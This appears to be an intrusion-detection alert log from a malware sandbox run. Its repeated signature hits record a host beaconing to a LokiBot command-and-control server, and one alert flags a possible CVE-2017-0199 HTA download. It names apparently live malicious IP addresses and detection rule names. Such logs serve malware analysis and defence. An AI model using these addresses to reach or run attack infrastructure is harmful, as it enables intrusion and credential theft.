2024-11-20T07:57:08.400152+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T07:57:08.400152+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T07:57:09.108399+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T07:57:09.108399+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T07:57:09.113229+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49178	TCP
2024-11-20T07:57:09.288353+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T07:57:09.288353+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T07:57:09.288353+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T07:57:10.035512+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T07:57:10.035512+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T07:57:10.040363+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49182	TCP
2024-11-20T07:57:10.533829+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T07:57:10.533829+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T07:57:10.533829+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T07:57:11.112717+0100	2024449	ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl	1	192.168.2.22	49184	192.3.243.136	80	TCP
2024-11-20T07:57:11.261515+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T07:57:11.261515+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T07:57:11.268041+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49183	TCP
2024-11-20T07:57:11.427592+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T07:57:11.427592+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T07:57:11.427592+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T07:57:12.155460+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T07:57:12.155460+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T07:57:12.160366+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49185	TCP
2024-11-20T07:57:12.359101+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T07:57:12.359101+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T07:57:12.359101+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T07:57:13.065121+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T07:57:13.065121+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T07:57:13.070076+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49186	TCP
2024-11-20T07:57:13.469417+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T07:57:13.469417+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T07:57:13.469417+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T07:57:14.190184+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T07:57:14.190184+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T07:57:14.198397+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49187	TCP
2024-11-20T07:57:14.821226+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T07:57:14.821226+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T07:57:14.821226+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T07:57:15.539350+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T07:57:15.539350+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T07:57:15.544258+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49188	TCP
2024-11-20T07:57:15.719445+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T07:57:15.719445+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T07:57:15.719445+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T07:57:16.455575+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T07:57:16.455575+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T07:57:16.460615+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49189	TCP
2024-11-20T07:57:16.626398+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T07:57:16.626398+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T07:57:16.626398+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T07:57:17.347428+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T07:57:17.347428+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T07:57:17.352340+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49190	TCP
2024-11-20T07:57:17.507138+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T07:57:17.507138+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T07:57:17.507138+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T07:57:18.217076+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T07:57:18.217076+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T07:57:18.222070+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49191	TCP
2024-11-20T07:57:18.365734+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T07:57:18.365734+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T07:57:18.365734+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T07:57:19.096338+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T07:57:19.096338+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T07:57:19.101205+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49192	TCP
2024-11-20T07:57:19.253733+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T07:57:19.253733+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T07:57:19.253733+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T07:57:20.092497+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T07:57:20.092497+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T07:57:20.097314+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49193	TCP
2024-11-20T07:57:20.473746+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T07:57:20.473746+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T07:57:20.473746+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T07:57:21.192076+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T07:57:21.192076+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T07:57:21.197086+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49194	TCP
2024-11-20T07:57:21.599286+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T07:57:21.599286+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T07:57:21.599286+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T07:57:25.322789+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T07:57:25.322789+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T07:57:25.327626+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49195	TCP
2024-11-20T07:57:25.465376+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T07:57:25.465376+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T07:57:25.465376+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T07:57:26.325588+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T07:57:26.325588+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T07:57:26.330544+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49196	TCP
2024-11-20T07:57:26.474558+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T07:57:26.474558+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T07:57:26.474558+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T07:57:27.207355+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T07:57:27.207355+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T07:57:27.212143+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49197	TCP
2024-11-20T07:57:27.353742+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T07:57:27.353742+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T07:57:27.353742+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T07:57:28.068992+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T07:57:28.068992+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T07:57:28.073862+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49198	TCP
2024-11-20T07:57:28.253668+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T07:57:28.253668+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T07:57:28.253668+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T07:57:28.977622+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T07:57:28.977622+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T07:57:28.982464+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49199	TCP
2024-11-20T07:57:29.125788+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T07:57:29.125788+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T07:57:29.125788+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T07:57:29.974567+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T07:57:29.974567+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T07:57:29.979437+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49200	TCP
2024-11-20T07:57:30.114920+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T07:57:30.114920+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T07:57:30.114920+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T07:57:30.837963+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T07:57:30.837963+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T07:57:30.843035+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49201	TCP
2024-11-20T07:57:30.992768+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T07:57:30.992768+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T07:57:30.992768+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T07:57:31.706612+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T07:57:31.706612+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T07:57:31.716016+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49202	TCP
2024-11-20T07:57:32.063042+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T07:57:32.063042+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T07:57:32.063042+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T07:57:32.784000+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T07:57:32.784000+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T07:57:32.789112+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49203	TCP
2024-11-20T07:57:32.925555+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T07:57:32.925555+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T07:57:32.925555+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T07:57:33.768266+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T07:57:33.768266+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T07:57:33.773092+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49204	TCP
2024-11-20T07:57:33.906030+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T07:57:33.906030+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T07:57:33.906030+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T07:57:34.637117+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T07:57:34.637117+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T07:57:34.643251+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49205	TCP
2024-11-20T07:57:34.787024+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T07:57:34.787024+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T07:57:34.787024+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T07:57:35.506502+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T07:57:35.506502+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T07:57:35.511423+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49206	TCP
2024-11-20T07:57:35.655030+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T07:57:35.655030+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T07:57:35.655030+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T07:57:36.385030+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T07:57:36.385030+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T07:57:36.389874+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49207	TCP
2024-11-20T07:57:36.530041+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T07:57:36.530041+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T07:57:36.530041+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T07:57:37.244067+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T07:57:37.244067+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T07:57:37.249204+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49208	TCP
2024-11-20T07:57:37.385969+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T07:57:37.385969+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T07:57:37.385969+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T07:57:38.096012+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T07:57:38.096012+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T07:57:38.100844+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49209	TCP
2024-11-20T07:57:38.245541+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T07:57:38.245541+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T07:57:38.245541+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T07:57:38.955955+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T07:57:38.955955+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T07:57:38.960823+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49210	TCP
2024-11-20T07:57:39.100304+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T07:57:39.100304+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T07:57:39.100304+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T07:57:39.954333+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T07:57:39.954333+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T07:57:39.959250+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49211	TCP
2024-11-20T07:57:40.099524+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T07:57:40.099524+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T07:57:40.099524+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T07:57:40.816303+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T07:57:40.816303+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T07:57:40.821148+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49212	TCP
2024-11-20T07:57:40.957522+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T07:57:40.957522+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T07:57:40.957522+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T07:57:41.675988+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T07:57:41.675988+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T07:57:41.680888+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49213	TCP
2024-11-20T07:57:41.834157+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T07:57:41.834157+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T07:57:41.834157+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T07:57:42.543644+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T07:57:42.543644+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T07:57:42.548514+0100	2025483	ET MALWARE LokiBot Fake 404 Response	1	94.156.177.41	80	192.168.2.22	49214	TCP
2024-11-20T07:57:42.690842+0100	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	1	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T07:57:42.690842+0100	2025381	ET MALWARE LokiBot Checkin	1	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T07:57:42.690842+0100	2825766	ETPRO MALWARE LokiBot Checkin M2	1	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T07:57:43.545186+0100	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	1	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T07:57:43.545186+0100	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	1	192.168.2.22	49215	94.156.177.41	80	TCP
